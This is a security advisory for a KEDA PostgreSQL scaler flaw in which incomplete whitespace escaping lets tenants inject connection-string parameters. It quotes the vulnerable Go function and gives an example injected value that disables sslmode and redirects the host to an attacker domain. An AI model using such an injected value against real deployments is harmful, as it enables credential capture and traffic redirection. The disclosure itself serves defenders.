CVE-2026-53572: KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping

pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:

func escapePostgreConnectionParameter(str string) string {
if !strings.Contains(str, " ") {
return str       // returned as-is for any non-space whitespace
}
str = strings.ReplaceAll(str, "'", "\\'")
return fmt.Sprintf("'%s'", str)
}

The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.